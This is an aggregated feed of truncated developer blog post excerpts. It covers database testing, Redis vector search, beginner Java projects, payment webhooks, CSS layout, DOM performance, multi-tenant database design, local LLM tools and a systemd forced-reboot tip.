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    How to Test Your Node.js & Postgres App Using Drizzle & PGlite
    I was recently tasked with writing tests for a large-scale production codebase serving over 2.1 million users. During my conversation with the lead engineer he mentioned something that stood out: “One of our biggest pain points is our test setup.” That conversation made me realize, that the approach I’ve been using might actually be more useful than I thought. This post walks through that setup. We mostly use PostgreSQL in production and write functional or integration tests, which means no database mocking. In the past, we relied on Testcontainers, to spin up real Postgres instances, but that approach was, slow and heavy. You can find my other article on Testcontainers here: The death of mocks by Testcontainers Eventually, we went looking for lighter alternatives. That’s when we found @e…  ( 6 min )
    PesudoCLI - your AI man pages.
    This is a submission for the Redis AI Challenge: Beyond the Cache. This project is CLI tool built with Go(Cobra) that leverages Redis Stack for vector storage and Gemini API(Google's LLM) for both embedding and text generation. This CLI tool demonstrates how Redis Stack can serve as a vector database, powering an intelligent question-answering system - all from terminal. Instead of Redis being just a cache or pub-sub tool, I used it for storing high-dimensional embeddings and retrieving semantically relevant results using vector similarity search (KNN+cosine). Go (Cobra) - CLI Interface Gemini API - for both generating embedding and responding with LLM. Redis Stack 8.x - as a vector store using FT.CREATE, HNSW and KNN retrieval. Traditionally, Redis is known as a caching layer. I have …  ( 8 min )
    🚀 GistFans Launch Countdown: Building the Future of Democratic Developer Communities
    Community writes and rewrites its own rules Our founding principle is beautifully simple: One rule - community-driven. That's all. Reddit: Upvotes for visibility, but moderators hold absolute power There had to be a better way. Basic Vote: One person, one voice - pure democracy ✅ Ready at Launch This isn't about replacing democracy with meritocracy - it's about enhancing democracy with earned influence. Earn Stars through quality contributions: code, discussions, helping others 📋 The Proposal System ✅ Ready at Launch Want to change community rules? Propose it. When proposals pass, they get executed. That execution itself improves the community - organic evolution through collective decision-making. How do you prevent mob rule while maintaining democracy? Development Transparency Basic pro…  ( 8 min )
    Simple Java Project: Basic Contact Book (Console-Based) — Detailed Guide
    Building a Basic Contact Book is a fantastic project for Java beginners who want to practice handling data collections, classes and objects, user input, and simple search functionality. This project simulates managing contacts with names and phone numbers, all from the console. Allow users to add contacts (name and phone number). Display all saved contacts. Search contacts by name. Optionally, remove contacts. Exit the program via a menu. This project will help you learn: How to create and use a Contact class (objects). Using an ArrayList to store multiple contacts. Handling input/output using Scanner. Implementing menu-driven programs with loops and switch-case. Searching through collections. Simple data validation. At its core, each contact will be an object with two properties: java pub…  ( 8 min )
    My First Dive into Real Payments Integration (with Paystack and Webhooks)
    This week, I did something that felt both exciting and intimidating. I integrated a payment gateway into one of my backend APIs for the very first time, even if it was just in test mode. 🙈💳 Now, I’ve created APIs before, like user authentication, CRUD operations, and more. But this time? I wanted my API to handle actual payments and that felt like stepping into a new territory. I’ve been working on an API where learners can register for a course track. I already had the backend logic for signing up, viewing courses, and assigning users to tracks. But I had to take it a step further: What if learners could also pay and automatically get an invoice confirmation? So I jumped into payment processing for the first time with no real business setup, just the test mode that Paystack provides to…  ( 7 min )
    AIShoply: The Missing Link Between Automation Builders and Everyday Users
    In the ever-evolving world of AI and automation, a silent friction remains: workflow builders want to monetize and protect their backend logic, while users just want beautiful, plug-and-play tools that work without setup hell. We built AIShoply to solve that exact problem — and possibly flip the automation world on its head. AIShoply is a marketplace where workflow developers can publish, sell, and share automation tools — all without exposing their backend logic. Think of it like the "App Store" for webhooks and automations. But it’s more than a marketplace. AIShoply gives developers a visual front-end layer to transform raw workflows into user-friendly tools — complete with: Forms Chat interfaces File uploads Image inputs Text fields Whatever your webhook needs, AIShoply supports it. And…  ( 8 min )
    5 Surprising Facts About LocalStorage You Probably Didn’t Know
    Unlocking the Full Power of LocalStorage for Modern Web Apps Modern web development offers countless ways to store data, from REST APIs to cloud databases. But one of the simplest tools often overlooked is sitting right inside your browser: LocalStorage. At first glance, LocalStorage seems basic: a simple key-value store for saving data in the browser. But under the hood, there are some powerful (and sometimes surprising) things you can do with it. In this post, I’ll reveal 5 things you probably didn’t know about LocalStorage — and show how you can use it more effectively in your web projects. Whether you’re building a dashboard, a SaaS app, or a simple landing page, these tips will help you write better, faster, and more user-friendly code. ✨ What Is LocalStorage? Let’s start with a qui…  ( 9 min )
    RELEASING KARL DOCS
    Hello, Dev Community! For the past couple of months, I've been on an incredible journey building something I'm truly passionate about. Today, I'm thrilled to take the first major step in sharing it with all of you. I'm talking about Project KARL (Kotlin Adaptive Reasoning Learner). What is KARL? Project KARL is an open-source library, built entirely in Kotlin, designed to create on-device, adaptive AI models. Instead of sending your data to the cloud to be processed, KARL learns and adapts exclusively on the user's device. It starts as a blank slate and becomes uniquely tailored to an individual's behavior over time. It's built on a few core principles: Action is Always Preceded by Learning In the spirit of that motto, I'm taking a docs-first approach to this release. I believe that for a project with a new architectural pattern to be truly understood and adopted, the concepts and guidelines must be clear from day one. Before you dive into the code, I want you to have the complete map. Today, I am officially releasing the complete documentation for Project KARL. This includes everything from high-level introductions and core concepts to detailed integration guides, API overviews, and contributor information. It’s the blueprint for the entire project. → Explore the Official KARL Documentation Here: KARL DOCS ↗ With the documentation now public, you can learn, explore, and understand the vision. The next step is action. The official open-source repository for Project KARL will be made public soon. On that day, you'll have access to the full source code for all the core modules, implementations, and the example desktop application that brings it all to life. The initial release will be an alpha version, a solid foundation ready for feedback, experimentation, and community contribution. It's the start of a journey, and I'm incredibly excited to build it in the open with all of you. So, take some time to read through the docs. Understand the "why" and the "how." And get ready to dive into the code. AR  ( 6 min )
    Flex or Grid: Which is Better? (1D vs 2D Layouts)
    As front-end developers, we're constantly faced with layout decisions that can make or break our user interfaces. Two of the most powerful CSS layout systems at our disposal are Flexbox and CSS Grid, but knowing when to use each one can be challenging. The key lies in understanding their fundamental differences and strengths. The most important concept to grasp is this: Flexbox excels at one-dimensional layouts, while CSS Grid dominates two-dimensional layouts. Flexbox is your go-to solution when you're arranging items in a single direction. Think of scenarios like: Navigation bars with buttons aligned horizontally Centering content within containers Creating flexible card layouts in a row Aligning form elements For example, if you're building a header with three navigation buttons, Flexbo…  ( 7 min )
    Simple Java Project: Temperature Converter (with Detailed Explanation)
    A Temperature Converter is a beginner-friendly Java project that brings together user input, variables, control flow, and formatted output. It’s practical, interactive, and easy to extend as your skills grow. Here’s how to build and understand a console-based temperature converter in Java. The converter will: Accept a temperature value and its unit (Celsius, Fahrenheit, or Kelvin) from the user. Ask for the unit to convert to. Perform the correct conversion using formulas. Display the converted result. Handle invalid input gracefully. This project gives you practice in: Taking and validating user input with Scanner Using if-else or switch for decisions Working with variables and arithmetic Displaying well-formatted results java import java.util.Scanner; Scanner helps you read user input f…  ( 8 min )
    Visualizing repositories using Pygal
    Pygal allows us to create a range of graphs and charts. In this article, you'll learn how to construct a visualization that shows the comparative Python's prominence works on github.com. We'll create an interactive bar chart, where the height of each bar will represent the sum of stars earned by the project. By clicking a bar, you'll be sent to the project's GitHub page. Some knowledge of Python Knowledge on Web APIs Pip installed To install Pygal, run the command below; pip install pygal You can visit Pygal's official site for more information on the installation of Pygal. The Pygal gallery is a collection of charts that Pygal can generate. To grasp more of the chart types that can be generated by Pygal, read over to the documentation tab on the chart type page Since we'll want to incorp…  ( 10 min )
    💭 What's the Best Tech Stack for a Markdown-Based Programming Blog?
    Hi everyone 👋 I'm planning to build my own programming blog, and I’d love to get your input! Here’s what I’m aiming for: ✅ The content will be written fully in Markdown Basically, I want a developer-focused blog that I can style and structure completely my way. So my question is: Which tech stack would you recommend for this kind of setup? & How to best organize and parse Markdown content? Right now I’m thinking of using Next.js with some Markdown libraries like gray-matter and remark to parse the posts. It seems like a solid setup using getStaticProps for static generation. But I’m wondering... 👉 Is there a better or more lightweight option for this use case? Thanks in advance for any thoughts or experiences you can share!  ( 5 min )
    Accessibility Audits (STQC, Axe, and Beyond)
    🧠 “Performance is how fast your site feels; accessibility is how many people can use it.” Accessibility isn't just about screen readers and color contrast—it’s a legal and ethical obligation. Government and enterprise projects often undergo formal audits (like STQC or Sugamya Bharat) that test your UI across: WCAG 2.1 guidelines Screen readers (JAWS, NVDA) Keyboard navigation Semantic markup Color contrast ratios Assistive tech compatibility As a frontend developer, it becomes your job to fix every issue flagged in those reports — often with minimal documentation and strict deadlines. Here's how I usually start accessibility debugging: Axe DevTools (Browser Extension) WAVE Tool Lighthouse Accessibility Audit Manual Testing Tab through the site for keyboard navigation Use screen read…  ( 7 min )
    KidShield is a powerful, open-source parental control solution designed for Android devices.
    🚀 Introducing KidShield — An Open-Source Android Parental Control App https://github.com/Yousaf1204/KidShield KidShield is a lightweight but powerful parental control solution for Android devices. It’s fully open-source and designed to help parents keep their kids safe in the digital world — without compromising performance or battery life. Built for educational and research purposes, KidShield demonstrates key Android concepts like: Persistent foreground/background services Firebase Realtime Database integration Permission management Auto-start on boot App usage enforcement 🛡️ Key Features 🚫 App Blocker 📞 Call & SMS Logs 🔄 Auto-Restart on Reboot ⚙️ Optimized Architecture 💡 Educational Use Notice 🧪 Try It Out 💬 I’d love feedback, ideas, or collaborators!  ( 5 min )
    AlphaEvolve
    In a nondescript building at Google DeepMind, scientists are teaching machines to write their own algorithms—not through explicit instruction, but through evolution. AlphaEvolve, their groundbreaking system, represents a quantum leap in artificial intelligence: machines that autonomously discover novel algorithms to solve complex problems with minimal human input. Inspired by nature's own R&D—evolution—AlphaEvolve automates what was once a purely human domain: algorithmic discovery. As it demonstrates unprecedented capabilities across domains from sorting networks to geometry, it raises a profound question: Are we witnessing a critical stepping stone toward AGI—and what happens when machines outpace their creators in algorithmic design? The Evolutionary Architecture of AlphaEvolve The jo…  ( 16 min )
    Expedition of Async Programming in JavaScript
    My Background with Programming This is a story of my expedition of understanding Asynchronous Programming in JS. Coming from a Computer Science background, I got various opportunities to explore multiple platforms, where I could learn different programming languages, from Assembly languages to High-level languages. However, I have never struggled to understand the construct or flow of the language. As far as I know, JS is one of those technologies that stands out from the rest that is in the industry. Far more, I am not speaking about performance, optimization, and things so on. JS in Node is an asynchronous programming language. To put it in simple words: JavaScript is a single threaded language, which means it has a one call stack and memory heap, that simply executes the code in the …  ( 10 min )
    Top 10 Python Libraries Every DevOps Engineer Should Master (With Use Cases & Code)
    In the world of DevOps, automation isn't just a luxury — it's a necessity. From provisioning infrastructure to managing deployments and monitoring services, DevOps engineers rely heavily on scripting to streamline operations. Python is one of the most widely used programming languages in DevOps due to its simplicity, readability, and massive ecosystem of libraries. Whether you're writing infrastructure-as-code (IaC), automating CI/CD pipelines, or interacting with cloud APIs, Python makes it easier and more efficient. In this article, we’ll explore 10 essential Python libraries every DevOps engineer should know, along with real-world use cases and practical code examples. boto3 – AWS Automation and Resource Management ➤ What is boto3? boto3 is the Amazon Web Services (AWS) SDK…  ( 9 min )
    🦙 Introducing PyllamaUI – Python + Ollama + User Interface
    A cross-platform, offline-first LLM interface built for developers who love control, speed, and privacy. 🔧 What is PyllamaUI? PyllamaUI is a lightweight, fully offline interface to interact with local large language models (LLMs) via Ollama. It uses Python for logic and customtkinter for the GUI — wrapped in a developer-friendly experience across multiple platforms. Platform Status 💻 Python GUI (via PyPI) ✅ Available: pip install pyllamaui 🧩 VS Code Extension ✅ Published on VS Marketplace 🪟 Windows .exe 🧪 In testing 🐧 Linux .deb Package 🧪 In testing All versions support models like TinyLLaMA, DeepSeek-Coder, Gemma and more. Just run them through your local Ollama server. Here’s a sneak peek of PyllamaUI running fully offline inside VS Code: 📹 Full demo, tutorials, and walkthroughs are coming soon — follow for updates! 🖥️ GUI-based LLM interface (built with customtkinter) 🧠 Runs on any Ollama-supported model 🎨 Theme switching (light/dark) 🔄 Model selector (TinyLLaMA, DeepSeek, Gemma, etc.) 🔌 No internet required after setup 🛠️ Future updates: Output copy buttons, smoother UX The project is open-sourced and actively maintained. If you're interested in contributing: 🌐 GitHub: github.com/bhuvanesh-m-dev/pyllamaui 💬 Raise issues, submit PRs, or suggest features 🔗 Website: https://bhuvaneshm.in/pyllamaui 🔗 GitHub: github.com/bhuvanesh-m-dev/pyllamaui 🔗 VS Code Extension: marketplace.visualstudio.com/items?itemName=bhuvanesh-m-dev.pyllamaui 🚀 Final Thoughts PyllamaUI is just getting started. If you're passionate about LLMs, privacy, and offline tools — this is for you. Try it. Fork it. Shape it. Drop a comment or connect with me on LinkedIn. 🛡 Built with ❤️ by Bhuvanesh M  ( 6 min )
    Day 14 - Create a PlanPicker Parent Component
    Table of Contents App Component Create the PlanPicker Component Github Repositories On day 14, I continued refactoring the App Component by extracting the coffee plan list to a new PlanPicker component. Not only the App component is cleaner but also the PlanPicker component can be reused to create additional coffee plan lists. import CoffeePlan from './components/CoffeePlan.vue' import { ref } from 'vue' const plans = ref(["The Single", "The Curious", "The Addict", "The Hacker"]) Coffee Plans We travel the world to source the very best single origin coffee for you <CoffeePlan v-for="plan in plans" :key="plan" :name="pl…  ( 8 min )
    ТОП-5 шагов: Установка Debian с внешнего SSD без флешек на ноутбук 🔧💻
    Установка Debian с внешнего SSD без флешек — идеальный способ быстро и надёжно переустановить систему, когда под рукой нет USB-флешек. Следуйте этим пяти шагам и забудьте про ISO и флешки! Подготовка Live-SSD Скачайте Debian Live ISO и запишите его на внешний SSD командой sudo dd if=debian-live.iso of=/dev/sdX bs=4M status=progress && sync ` Настройка BIOS/UEFI – Отключите Secure Boot – Выберите ваш SSD в Boot Menu Разметка внутреннего диска С помощью GParted создайте: /dev/sda1 → FAT32, 512 МБ, флаг esp /dev/sda2 → ext4, 60 ГБ, корень / /dev/sda3 → ext4, всё остальное, /home Установка Debian Запустите инсталлятор (calamares или sudo debian-installer), укажите разделы и при необходимости вручную установите GRUB: bash Восстановление данных Скопируйте бэкап домашнего каталога и задайте права: bash Скорость: no USB-флешки = меньше лишних шагов. Универсальность: внешний SSD работает на любом ноутбуке. Надёжность: SSD быстрее флешек и меньше рисков сбоев при записи ISO. Читайте полную статью на Java-Simple.ru: Установка Debian с внешнего SSD без флешек на ноутбук 🚀🔧💻 Делитесь в комментариях! #Debian #Linux #LiveSSD #GParted #GRUB #JavaSimple  ( 5 min )
    How to Use Qwen3-Coder and Qwen Code
    AI agents are becoming a regular part of my development workflow but most still come with serious tradeoffs: they lag, lose context, or don’t play nicely with the terminal. I wanted something faster, smarter, and more local without the fluff of bloated UIs. That’s where Qwen Code, paired with Qwen3-Coder-Flash, really stood out for me. It’s lightning-fast, context-aware, and works directly in the terminal. If you're like me and prefer tools that feel native to how you already work, this setup might be exactly what you’ve been looking for. In this guide, I’ll walk you through how I got started with Qwen3-Coder and Qwen Code from installation and setup to my favorite features and use cases, like automated git tasks, intelligent code analysis, and clean documentation workflows. Qwen3-Coder i…  ( 9 min )
    How to Set Up UpCloud Server to Host Your Websites
    Have you ever tried to set up UpCloud server or any cloud server but felt completely lost? You’re not alone. Many people think that setting up a server is only for tech geeks. But the truth is, setting up a server is easier than assembling IKEA furniture (and way less frustrating!). Whether you’re hosting a website, launching a project, or testing an app, this guide will walk you through every step like a friend showing you the ropes. In this post, we’ll break down the setup process in the simplest possible way, no technical headaches, no complicated steps, just a smooth path from zero to running a server. UpCloud is known for its high-performance cloud infrastructure with excellent uptime and top-tier SSD storage called MaxIOPS. It’s like the Ferrari of cloud hosting, powerful, fast, and …  ( 12 min )
    AltSchool Of Engineering Tinyuka’24 Month 5 Week 5
    We kicked off the class with a review of our previous session, which you can find here. Following that, we delved into an Overview of Document Resource Loading and much more! Managing resource loading in web pages is crucial for optimizing performance and user experience. Key events and attributes help control when scripts and resources are loaded, ensuring that the document is fully functional and responsive. 1. DOMContentLoaded Example: document.addEventListener('DOMContentLoaded', () => { console.log('DOM fully loaded and parsed.'); }); 2. load Example: window.addEventListener('load', () => { console.log('All resources finished loading!'); }); 3. beforeunload and unload Example: window.addEventListener('beforeunload', (event) => { event.preventDefault(); event.returnV…  ( 11 min )
    AI Prompt as a Terminal: A Universal Prompt to Learn Anything
    This article answers the question: how to learn anything with neural networks without putting effort into writing prompts. At some point, the thought came to me that with the advent of neural networks, books have become obsolete. The "books" of the future are specially encoded knowledge inside neural networks. Learning should happen through dialogue with neural networks. In practice, it turned out that following such advice is quite difficult. Yes, you can go to a neural network and say "teach me calculus." The problem is that few people know how to ask the right questions. And those who do know understand that it's not simple in itself. The second problem is that a neural network is an assistant and advisor, but not a demanding teacher. It won't push you to expand your horizons. And as a…  ( 21 min )
    Get Hands-On with Amazon RDS Using AWS’s Getting Started Resource Center
    Understanding Amazon RDS (Relational Database Service) is essential for anyone seeking to gain expertise in cloud technology. You can't beat getting your hands on some real-world experience with managed databases, cloud-native application deployment, or even just learning the ropes of Amazon Web Services (AWS) certification. Fortunately, the 'Getting Started Resource Center' on AWS provides a curated set of practical lessons tailored to RDS. Amazon RDS is a managed relational database service provided by AWS (Amazon Web Services). Without worrying about the underlying infrastructure, users may quickly establish, operate, and scale databases in the cloud. Launching and managing cloud-based relational databases is easy with Amazon RDS. It facilitates numerous engines, including MariaDB, …  ( 6 min )
    Mastering DOM Performance & Security
    Lessons from deep-diving JavaScript DOM with Satt Academy(website) 1. Node vs. Element: The Silent Speed Drain Code:- // Slow path (12% slower) const slow = parent.childNodes; // Grabs text & comment nodes // Fast path const fast = parent.children; // Only elements! Why care? 2. Live vs. Static Collections Code:- // Performance killer (live) const heavy = document.getElementsByClassName('item'); // Optimized path (static) const light = Array.from(document.querySelectorAll('.item')); 📉 Result: Live HTMLCollections cause up to 40% more browser reflows than static NodeLists — meaning slower, laggier pages. 3. Content Security Matrix innerHTML ❌ Not safe Slow Injecting trusted HTML textContent ✅ Safe Fast User-generated content createElement ✅ Safest Fastest Complex UI building ________________________________________ 4 Performance Optimization Should Use Event Delegation Code:- // 1 listener instead of 100 → Saves ~75% memory! parent.addEventListener('click', e => { if (e.target.classList.contains('btn')) handleClick(); }); Animation Mastery NodeList → Array Magic Code:- // NodeList looks like an array but isn’t const nodeList = document.querySelectorAll('.item'); // Convert for full array power const realArray = [...nodeList]; realArray.map(item => item.classList.add('processed')); Insights: 10,000+ Items? Virtualize! This simple step helps you write cleaner, faster, and more secure DOM manipulation code.  ( 6 min )
    Mastering React's useCallback Hook for Optimal Performance
    In the realm of React development, optimizing performance is a crucial aspect that developers constantly strive to enhance. One powerful tool in the React developer's arsenal is the useCallback hook, which plays a significant role in improving the efficiency of functional components. Let's delve into the intricacies of useCallback and how it can be utilized to boost performance. At its core, the useCallback hook in React is designed to memoize functions, ensuring that they are only re-created when their dependencies change. This can be particularly beneficial in scenarios where functions are passed down to child components, as it helps prevent unnecessary re-renders. const memoizedCallback = useCallback(() => { // Function logic here }, [dependency1, dependency2]); By specifying the dep…  ( 7 min )
    AI Will Replace 90% of Programmers (And Why That's a Good Thing)
    Let's be honest - we all know that AI is evolving at an insanely fast pace. Earlier, it was just about writing specific prompts and getting basic outputs. But now, we have multiple advanced LLMs that are way more capable - they can even solve problems from the world's toughest exams like the JEE Advanced, USMLE, Bar, SAT, and more. What's even more interesting is the rise of AI agents - tools that can plan, reason, and complete multi-step tasks from start to finish. I can say that this is the beginning of a new era where agents can automate most of your time-consuming, repetitive work. And let's not forget prompt engineering, which has now become more like context engineering. Today's LLMs can write production-level code, debug it, and even help launch full-stack apps - all in minutes with…  ( 8 min )
    How Developers Can Use Digital Marketing to Launch and Grow Side Projects 🚀
    As developers, we often build amazing tools, apps, or side projects — but getting traction is a whole different story. If you’ve ever wondered how to get more eyes on your project, digital marketing might be the missing link. Here’s how you can get started without becoming a full-time marketer. You wouldn’t build a product without user research, right? Apply the same mindset to marketing. Define: Who your product is for What problems it solves Where your audience hangs out online SEO (Search Engine Optimization) isn't just for bloggers. If your project has a landing page or blog: Use simple keyword research tools to find what people are searching for Optimize your content (titles, headings, meta descriptions) Create helpful blog content related to your app or tool If you're documenting your process, writing tutorials, or sharing case studies, you’re already doing content marketing. Use platforms like: Dev.to (yes, just like this!) Medium Your own blog Make sure to: Add internal links Include clear CTAs (call-to-actions), like joining your email list or trying the product Google still loves good backlinks. Writing helpful content (like this) and contributing to relevant conversations online can naturally earn links over time. 💡 I recently published a guide on best digital marketing resources website. If you'd like to learn more about digital marketing, feel free to check it out. Use tools like: Buffer or Hootsuite for social media Google Analytics for performance tracking Mailchimp or Buttondown for newsletters You don’t need to be a “marketer” to market your product. Just apply your developer mindset to experimentation, iteration, and measurement. Have you tried marketing your side project? What worked (or didn’t)? I’d love to hear your experience in the comments.  ( 6 min )
    How Languages Talk to Each Other: The Science of Cross-Linguistic Influence
    Remote teams are growing, and so is the need for better communication across cultures. With teams spread across different countries, time zones, and native languages, understanding how languages interact is not just an academic topic—it’s practical and urgent. This is where the idea of cross linguistic connections becomes more than a linguistic curiosity; it becomes a tool for better collaboration, fewer misunderstandings, and stronger team culture. Cross-linguistic connections refer to the ways languages influence one another—whether through vocabulary, structure, pronunciation, or meaning. This can happen between individual speakers (like bilingual team members), or across wider cultural interactions. Think of it like this: if you've ever tried learning a new language and found that some…  ( 7 min )
    🚀 ShowDev: I Built a Small Spring Boot–Based Product – Feedback Welcome!
    Hey DEV community! 👋 I wanted to share a small project I’ve been working on using Spring Boot, and I’d love to get your thoughts, feedback, and suggestions. 🛠️ What It Is Built with: Spring Boot (of course!) 📦 Source Code: https://github.com/Steffi-cloud/Repo1 project name: ExpenseTracker (in the source code repo) ⚙️ Why I Built It Practice my Spring Boot and REST API skills. Scratch an itch I had for [problem you're solving]. Learn [something new – e.g how the records can be filtered based on date and the balance can be shown]. It's small but functional, and I figured it’s better to share than keep polishing in silence! 🔍 Key Features [Optional: Roadmap ideas or “what’s coming next”] 🧪 Want to Try It? Spin it up locally (README has setup instructions) Try the live demo (feedback welcome!) 🙏 What I’m Looking For Code review suggestions (Java folks, be brutal 😅) Ideas for improvement or missing features Thoughts on real-world use cases (is it useful to anyone but me?) 💬 Let’s Chat! Happy coding! 👨‍💻👩‍💻  ( 6 min )
    What happens when Indian heritage meets modern innovation?
    Hackathon Meets Heritage: My Toycathon’21 Story Konark Sharma ・ Jul 31 #devchallenge #wlhchallenge #career #entrepreneurship  ( 5 min )
    PyTorch Introductory Experiments
    PyTorch Introductory Experiments In this project, I will revisit some of my previous basic TensorFlow Deep Learning experiments / training exercises Trying Out TensorFlow Lite Hello World Model With ESP32 and DumbDisplay Mnist Dataset -- From Training to Running With ESP32 / ESP32S3 Sliding Puzzle 'Next Move' Suggesting Simple DL Model With ESP32 TensorFlow Lite Nevertheless this time, those experiments will be renewed (reimplemented) The experiments will be using PyTorch as the deep learning framework (and stil be with "dense" layers only) They will not be targeted for microcontroller; but still be demonstrable, with the help of DumbDisplay using regular Python and PyTorch This project is developed with VSCode (with Python extension); here, I will assume VSCode development environment…  ( 15 min )
    ⚙️ Scaling to 100K+ Tenants in a Single DB: Isolation, Partitioning, and Indexing Strategies That Actually Work 💡
    Dive into a 🧱 production-grade blueprint for building high-scale multi-tenant SaaS systems on a shared relational DB (PostgreSQL/MySQL). This guide shows you how to: 🧠 Enforce strict per-tenant isolation using tenant_id + RLS ⚙️ Design tenant-aware indexes (compound, partial, GIN) 🗂️ Scale with hash & time partitioning 🏗️ Implement a flexible Hybrid Tenancy Model (shared → schema → DB) 🔄 Handle safe schema evolution & GDPR-compliant deletes 📉 Avoid noisy neighbor pitfalls with smart indexing & routing Whether you're scaling to 100K+ tenants or just architecting your first multi-tenant layer, this is your ultimate blueprint for isolation, performance, and compliance. 📖 Read here → DB Design : Multi-Tenant Data Isolation in a Shared Database | by ScalaBrix | Aug, 2025 | Medium ScalaBrix ・ Aug 2, 2025 ・ scalabrix.Medium PostgreSQL #SaaSArchitecture #SystemDesign #MultiTenancy #BackendEngineering #DatabaseDesign #Indexing #DevCommunity  ( 5 min )
    Understanding Event Bubbling in JavaScript: A Practical Guide
    Event bubbling is a fundamental concept in JavaScript that every web developer should master. It can make or break your event-driven applications if not handled properly. In this post, we'll dive into what event bubbling is, how it works, and how to control it using stopPropagation(). Let’s get started! In JavaScript, when an event (like a click) occurs on a nested DOM element, it doesn’t just trigger the event listener on that element—it bubbles up through its parent elements, triggering their listeners too. This behavior is called event bubbling. For example, if you have a div containing a ul with an li inside it, clicking the li could trigger event listeners on the li, ul, and div. This can lead to unexpected behavior if not managed correctly. Let’s look at a practical example to see ev…  ( 6 min )
    Empowering AI Conversations Using Redis 8 as a Real-Time Brain
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. DevPrompt AI is a smart, lightweight AI assistant designed for developers and tech learners. It's a web-based tool where users can ask any question — technical or non-technical — and get instant responses powered by OpenAI's large language models. Built using FastAPI + Redis + OpenAI API — this setup enables smart caching and real-time answers to your questions. https://res.cloudinary.com/dvlvkkue3/video/upload/v1754125729/Screen_Recording_2025-07-31_at_10.47.40_PM_g0iibh.mov It uses Redis 8 as the real-time caching layer to reduce API latency and cost by caching frequently asked queries and instantly serving them. This improves the user experience significantly by delivering results faster — especially for common queries. The user sends a question to the FastAPI backend The app checks Redis first (fastest!) If not found, it fetches from OpenAI and caches it for future And everything is now testable via Swagger Docs for easy dev/test! If you're building with OpenAI + Redis, be sure to check your SDK version compatibility! Thanks to for this exciting opportunity!  ( 5 min )
    I'm a dev who got tired of losing code snippets and AI prompts, so I built a tool for it. What features would you actually use?
    I've been dealing with a major pain point: constantly losing my code snippets and prompts for AI. I tried everything—random files, Notion, Gists—but nothing really felt right. So, I decided to build my own solution, called SnippKit. The core idea is a super clean, minimal space to save, organize, and share snippets and prompts with tags and descriptions. I've also been thinking about adding a feature where users could browse or even sell AI prompts. Before I go any further with the development, I wanted to get your feedback. What features would be a must-have for you in a tool like this? What would be the key reason for you to use it? Your input would be a huge help. Here's the prototype I've been working on: https://snippkit.com  ( 5 min )
    My Journey to becoming a Professional Web developer
    Just started learning JavaScript this weekend and I’m hooked! It’s challenging, but super fun. Every small win pushes me to dig deeper. Huge thanks to the Udemy program — I can’t wait to keep sharing my progress with you all from here on out!  ( 5 min )
    Agent Mode: The Smarter Way to Handle Procurement (Free Access Until Aug 31)
    We're excited to introduce Agent Mode - a breakthrough in making business purchasing effortless for everyone. Key Features You'll Love: Complete purchases with one request (e.g. "Find 3 local suppliers under $5/unit with 1-week delivery") Automatic price comparison (real-time quotes from multiple vendors) Smart verification (auto-checks certifications and compliance docs) How It Works: Sign in to your account Select Agent Mode in procurement Describe what you need in plain language Get optimized supplier recommendations Special Offer: Full features available at no cost until August 31 Experience Agent Mode For developers: How would you architect a system to handle such multi-faceted requests? For founders: What other operational tasks deserve this "one-request" automation? For all: What's your biggest pain point in procurement workflows?  ( 5 min )
    Just built my portfolio with Django, Bootstrap & some fun animations — would love your feedback!
    Hey everyone! 👋 I just finished building my personal portfolio site and wanted to share it here on Dev.to. HTML, CSS, JavaScript Django as the backend Bootstrap for responsive design Data AOS for scroll animations Font Awesome icons Particle.js for background animation Shows my skills, projects, experience & achievements Home and contact sections Dark / light theme toggle 🌙☀️ Fully responsive: works on desktop & mobile Wanted to bring all my work together in one clean, animated site — and challenge myself to combine Django backend with modern frontend tools & effects. Overall design & usability Animation effects: too subtle / too much? Mobile view experience Any other suggestions to improve Link If you’ve built something similar, drop your link too — happy to see others' work and exchange feedback! 🚀 Thanks for reading! 😊  ( 5 min )
    How I Built 6 Android Apps Using Jetpack Compose & Firebase
    A post by Nishant  ( 5 min )
    🧠 Tired of bloated ACLs? Meet scode-acl: A minimal, schema-driven, token-friendly access control system
    “Permissions shouldn't feel like building a nuclear reactor.” — Every developer buried in JSON access trees In every project with users, roles, and permissions, you eventually hit something like this: { "user": { "profile": { "read": true, "edit": false }, "settings": { "change": true } }, "order": { "delivery": { "cancel": true } } } 😵‍💫 Massive, nested JSON 🤯 Redundant data (false/null/undefined) 🧩 Pain to store in JWTs, sessions, or URLs 🧨 Breaks when schema changes scode-acl scode-acl (Structured Compressed ACL) is a schema-driven, ultra-compact access control tool built with TypeScript. It compresses permission data into string-encoded indexes like "0 3 7", verifiable by schema hash. ✅ Schema → dot paths → compressed…  ( 6 min )
    Double force reboot
    Today I've learned that systemd, actually, supports hard reboots. systemctl reboot --force --force From the man page: If --force is specified twice, the operation is immediately executed without terminating any processes or unmounting any file systems. This may result in data loss. Note that when --force is specified twice the halt operation is executed by systemctl itself, and the system manager is not contacted. This means the command should succeed even when the system manager has crashed. This is the closest equivalent of echo b > /proc/sysrq-trigger I can find.  ( 5 min )
    The Self-Improving Prompt System That Gets Smarter With Every Use - And Anyone Can Master
    Hi, I’m Karo 🤗. share awesome insights from the world of AI product management and building in public. This post was originally published on Substack. Follow me there if you'd like to see more posts like this. I still hear: ‘‘I’m not technical’’ or ‘‘The results were meh’’ from some of my friends. This simple, step-by-step prompt system unlocks ChatGPT’s potential for better, more consistent results. No technical skills required. You’ll be ready for reliable answers in under two minutes. It’s the exact formula I use for every prompt, including the ones that vibecoded an entire multisided platform. Jump in and explore the step-by-step prompt system now; I’ll break down the science behind its consistent results at the end. Your setup: ChatGPT Plus Prompt Builder Prompt Evaluator That’s it. …  ( 6 min )
    WTF is Temporal Tables?
    WTF is this? Temporal Tables: Because Time Travel Isn't Just for Docs and Marty Hey there, tech-curious folks! Welcome to today's installment of "WTF is this?", where we dive into the weird and wonderful world of emerging tech concepts. Today, we're talking about Temporal Tables – a mouthful, I know, but stick with me, and you'll be a temporal master in no time! What is Temporal Tables? Imagine you're a database administrator (DBA) tasked with keeping track of a company's employee data. You've got a table with columns for names, addresses, job titles, and salaries. Easy peasy, right? But what if you need to know what John Doe's job title was three years ago or what his salary was last quarter? You'd have to dig through old backups or create a separate table for historical data. That's wher…  ( 7 min )
    Why Agentic AI Will Replace 80% of Low-Level Automation Tools
